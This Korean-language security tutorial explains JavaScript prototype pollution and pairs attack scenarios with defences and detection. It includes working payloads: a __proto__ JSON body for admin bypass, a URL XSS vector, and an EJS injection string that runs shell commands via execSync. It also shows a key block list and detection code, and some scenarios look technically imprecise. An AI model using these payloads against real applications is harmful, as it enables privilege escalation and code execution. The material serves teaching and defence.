/보안 기법/Prototype Pollution — JavaScript 객체 오염
웹 취약점2026-05-03

Prototype Pollution — JavaScript 객체 오염

프로토타입 오염(Prototype Pollution)은 JavaScript의 프로토타입 체인(Prototype Chain) 메커니즘을 악용하는 취약점입니다. 공격자가 `Object.prototype`과 같은 내장 객체의 프로토타입에 임의의 속성을 추가하거나 수정함으로써, 해당 프로토타입을 상속받는 모든 객체의 동작을 변조하는 공격입니다.

#JavaScript#Prototype#Node.js#RCE#오염

프로토타입 오염(Prototype Pollution) 취약점

기본 원리

프로토타입 오염(Prototype Pollution)은 JavaScript의 프로토타입 체인(Prototype Chain) 메커니즘을 악용하는 취약점입니다. 공격자가 Object.prototype과 같은 내장 객체의 프로토타입에 임의의 속성을 추가하거나 수정함으로써, 해당 프로토타입을 상속받는 모든 객체의 동작을 변조하는 공격입니다.

JavaScript 프로토타입 체인 복습

JavaScript에서 모든 객체는 프로토타입 체인을 통해 속성을 상속받습니다.

const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__);          // null (체인의 끝)

// 속성 조회 시 체인을 따라 올라감
const arr = [];
console.log(arr.__proto__ === Array.prototype);   // true
console.log(arr.__proto__.__proto__ === Object.prototype); // true

취약점의 핵심

// Object.prototype에 속성 추가
Object.prototype.isAdmin = true;

// 이제 모든 객체에서 isAdmin이 true
const user = { name: "guest" };
console.log(user.isAdmin); // true (오염됨!)

const config = {};
console.log(config.isAdmin); // true (오염됨!)

오염이 발생하는 위험한 패턴

// 패턴 1: 중첩 객체 병합 (Recursive Merge)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]); // 재귀 호출
    } else {
      target[key] = source[key]; // 위험!
    }
  }
  return target;
}

// 공격자 입력
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
// 이제 모든 객체의 isAdmin이 true

// 패턴 2: 경로 기반 객체 설정
function set(obj, path, value) {
  const keys = path.split('.');
  let current = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    if (!current[keys[i]]) current[keys[i]] = {};
    current = current[keys[i]]; // __proto__ 경로 통과 가능
  }
  current[keys[keys.length - 1]] = value;
}

// 공격: "__proto__.isAdmin" 경로로 오염
set({}, "__proto__.isAdmin", true);

// 패턴 3: 클론/복사 함수
function clone(obj) {
  return Object.assign({}, obj); // 얕은 복사는 안전하지만...
}

// 깊은 복사 시 위험
function deepClone(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  const result = {};
  for (const key in obj) { // in은 프로토타입 체인도 순회
    result[key] = deepClone(obj[key]);
  }
  return result;
}

공격 시나리오

시나리오 1: 권한 우회 (Privilege Escalation)

// 취약한 서버 코드
app.post('/api/update', (req, res) => {
  const userInput = req.body;
  
  // 취약한 merge 함수로 사용자 입력 처리
  merge(currentConfig, userInput);
  
  // isAdmin 체크
  if (req.user.isAdmin) {
    // 관리자 기능 실행
    deleteAllUsers();
  }
});

// 공격자 페이로드 (JSON body)
{
  "__proto__": {
    "isAdmin": true
  }
}

// merge 후 req.user.isAdmin은 undefined였지만
// 이제 프로토타입에서 true를 상속받아 관리자 권한 획득

시나리오 2: RCE (원격 코드 실행) - Node.js

// Lodash < 4.17.11 취약한 버전 사용 시
const _ = require('lodash'); // 취약한 버전

// 공격자 페이로드
const payload = JSON.parse(`{
  "constructor": {
    "prototype": {
      "NODE_OPTIONS": "--require /proc/self/environ",
      "env": {
        "NODE_OPTIONS": "--require /tmp/malicious.js"
      }
    }
  }
}`);

_.merge({}, payload);
// 이후 child_process.fork() 등이 호출되면 악성 코드 실행

시나리오 3: XSS를 통한 DOM 오염

// 클라이언트 사이드 프로토타입 오염으로 XSS
// URL: https://victim.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>

// 취약한 클라이언트 코드
function setConfig(params) {
  for (const [key, value] of new URLSearchParams(params)) {
    // 경로 파싱 없이 직접 객체에 설정
    set(config, key, value);
  }
}

// innerHTML이 오염되면
const div = document.createElement('div');
// div.innerHTML이 프로토타입에서 공격자 값을 상속받음
document.body.appendChild(div); // XSS 발생!

시나리오 4: Template Engine RCE (EJS)

// EJS 템플릿 엔진 사용 시 프로토타입 오염으로 RCE
// __proto__.outputFunctionName 오염

const ejs = require('ejs');

// 공격 페이로드
Object.prototype.outputFunctionName = 
  "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned');x";

// 이후 ejs.render()가 호출되면 코드 실행
ejs.render('<p>hello</p>', {});
// /tmp/pwned 파일에 id 명령 결과가 저장됨

실제 취약한 라이브러리 예시

Lodash (CVE-2019-10744)

// 취약한 코드 (lodash < 4.17.12)
const _ = require('lodash');

_.merge({}, JSON.parse('{"__proto__":{"polluted":true}}'));
console.log({}.polluted); // true - 오염 성공

// 수정된 버전에서는 __proto__ 키를 필터링

jQuery $.extend (CVE-2019-11358)

// 취약한 코드 (jQuery < 3.4.0)
$.extend(true, {}, JSON.parse('{"__proto__":{"devMode":true}}'));
console.log({}.devMode); // true - 오염 성공

// 수정 후 (jQuery >= 3.4.0)
// $.extend 내부에서 __proto__ 키 무시

자체 취약점 탐지 스크립트

// 취약점 탐지를 위한 테스트 코드
function testPrototypePollution(targetFunc) {
  // 테스트 전 상태 저장
  const originalProto = Object.assign({}, Object.prototype);
  
  try {
    // 오염 시도
    const canary = `pp_test_${Date.now()}`;
    const payload = {};
    payload['__proto__'] = {};
    payload['__proto__'][canary] = 'POLLUTED';
    
    targetFunc({}, payload);
    
    // 오염 여부 확인
    if ({}[canary] === 'POLLUTED') {
      console.log('[VULNERABLE] 프로토타입 오염 취약점 발견!');
      // 정리
      delete Object.prototype[canary];
      return true;
    }
  } catch(e) {
    console.log('테스트 중 오류:', e.message);
  }
  
  console.log('[SAFE] 취약점 없음');
  return false;
}

// 테스트 실행
testPrototypePollution(vulnerableMerge);

방어 방법

1. Object.create(null) 사용

// 프로토타입이 없는 객체 생성
const safeObj = Object.create(null);
// safeObj.__proto__는 undefined
// Object.prototype 오염의 영향을 받지 않음

// 설정 객체나 맵으로 활용
const userRoles = Object.create(null);
userRoles['admin'] = true;
userRoles['guest'] = false;

2. 안전한 merge 함수 구현

// 위험한 키 필터링
function safeMerge(target, source) {
  const DANGEROUS_KEYS = ['__proto__', 'constructor', 'prototype'];
  
  for (const key of Object.keys(source)) { // in 대신 keys() 사용
    // 위험한 키 차단
    if (DANGEROUS_KEYS.includes(key)) {
      console.warn(`[보안] 위험한 키 차단: ${key}`);
      continue;
    }
    
    if (
      typeof source[key] === 'object' &&
      source[key] !== null &&
      !Array.isArray(source[key])
    ) {
      if (typeof target[key] !== 'object') {
        target[key] = Object.create(null);
      }
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

3. JSON 스키마 검증

const Ajv = require('ajv');
const ajv = new Ajv();

const schema = {
  type: 'object',
  properties: {
    name: { type: 'string' },
    age: { type: 'number' }
  },
  additionalProperties: false, // 스키마에 없는 속성 거부
  not: {
    // __proto__, constructor 등 위험한 키 명시적 금지
    anyOf: [
      { required: ['__proto__'] },
      { required: ['constructor'] },
      { required: ['prototype'] }
    ]
  }
};

function validateInput(data) {
  const validate = ajv.compile(schema);
  if (!validate(data)) {
    throw new Error(`유효하지 않은 입력: ${JSON.stringify(validate.errors)}`);
  }
  return data;
}

4. Object.freeze()로 프로토타입 동결

// 애플리케이션 시작 시 프로토타입 동결
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

// 이후 프로토타입 오염 시도 시 에러 발생 (strict mode) 
// 또는 무시됨 (non-strict mode)
try {
  Object.prototype.polluted = true; // TypeError!
} catch(e) {
  console.log('프로토타입 동결로 오염 차단:', e.message);
}

5. Map 자료구조 활용

// 일반 객체 대신 Map 사용
const configMap = new Map();
configMap.set('theme', 'dark');
configMap.set('language', 'ko');

// Map은 프로토타입 체인의 영향을 받지 않음
Object.prototype.malicious = 'hacked';
console.log(configMap.get('malicious')); // undefined (안전!)
console.log({}.malicious); // 'hacked' (오염됨)

6. hasOwnProperty 확인

// 속성 확인 시 hasOwnProperty 사용
function getProperty(obj, key) {
  // 프로토타입 체인을 거슬러 올라가지 않음
  if (Object.prototype.hasOwnProperty.call(obj, key)) {
    return obj[key];
  }
  return undefined;
}

// for...in 루프에서도 hasOwnProperty 확인
function iterateOwn(obj, callback) {
  for (const key in obj) {
    if (Object.prototype.hasOwnProperty.call(obj, key)) {
      callback(key, obj[key]);
    }
  }
}

탐지 방법

정적 분석 (ESLint 규칙)

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  rules: {
    'security/detect-object-injection': 'error',
    'no-prototype-builtins': 'error', // obj.hasOwnProperty() 대신 Object.prototype.hasOwnProperty.call() 강제
  }
};

// 위험한 패턴 탐지 커스텀 규칙
module.exports = {
  create(context) {
    return {
      AssignmentExpression(node) {
        // obj.__proto__ = ... 패턴 탐지
        if (
          node.left.type === 'MemberExpression' &&
          node.left.property.name === '__proto__'
        ) {
          context.report({ node, message: '프로토타입 직접 수정 금지' });
        }
      }
    };
  }
};

런타임 탐지 (모니터링 훅)

// 프로토타입 수정 시 알림을 주는 Proxy 설정
const handler = {
  set(target, key, value) {
    if (key === '__proto__' || key === 'constructor') {
      console.error(`[보안 경고] 프로토타입 수정 시도 탐지!`);
      console.error(`Stack trace:`, new Error().stack);
      // 보안 이벤트 로깅
      securityLogger.log({
        type: 'PROTOTYPE_POLLUTION_ATTEMPT',
        key,
        value,
        timestamp: new Date().toISOString(),
        stack: new Error().stack
      });
      return false; // 수정 거부
    }
    return Reflect.set(target, key, value);
  }
};

npm audit를 통한 라이브러리 취약점 확인

# 프로젝트의 알려진 취약점 확인
npm audit

# 상세 보고서
npm audit --json | jq '.vulnerabilities | to_entries[] | 
  select(.value.severity == "high" or .value.severity == "critical") | 
  {name: .key, severity: .value.severity, title: .value.via[0].title}'

# 자동 수정 (주의: 호환성 문제 확인 필요)
npm audit fix

# 취약한 prototype pollution 패키지 직접 검색
npm list --all 2>/dev/null | grep -E "lodash@[0-3]|jquery@[12]"

참고 도구 및 자원

도구/자원 종류 설명 URL
pp-finder 탐지 도구 프로토타입 오염 자동 탐지 라이브러리 github.com/nicolo-ribaudo/pp-finder
eslint-plugin-security 정적 분석 ESLint 보안 규칙 플러그인 github.com/eslint-community/eslint-plugin-security
Snyk 취약점 스캐너 오픈소스 라이브러리 취약점 탐지 snyk.io
npm audit 내장 도구 Node.js 패키지 취약점 감사 docs.npmjs.com/cli/audit
PortSwigger PP Labs 실습 환경 클라이언트/서버 PP 실습 랩 portswigger.net/web-security/prototype-pollution
Prototype Pollution Explained 연구 자료 Michał Bentkowski 원본 연구 research.securitum.com

⚠️ 주의사항: 프로토타입 오염은 Node.js 서버 환경에서 RCE(원격 코드 실행)로 이어질 수 있는 매우 위험한 취약점입니다. 특히 ejs, pug, handlebars 등의 템플릿 엔진과 결합될 때 치명적입니다. Object.freeze(Object.prototype)은 강력한 방어책이지만 일부 레거시 라이브러리의 동작을 깨뜨릴 수 있으므로 충분한 테스트 후 적용하십시오. 모든 테스트는 반드시 격리된 환경에서 수행하고, 프로덕션 시스템에 대한 무단 테스트는 법적 처벌 대상입니다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.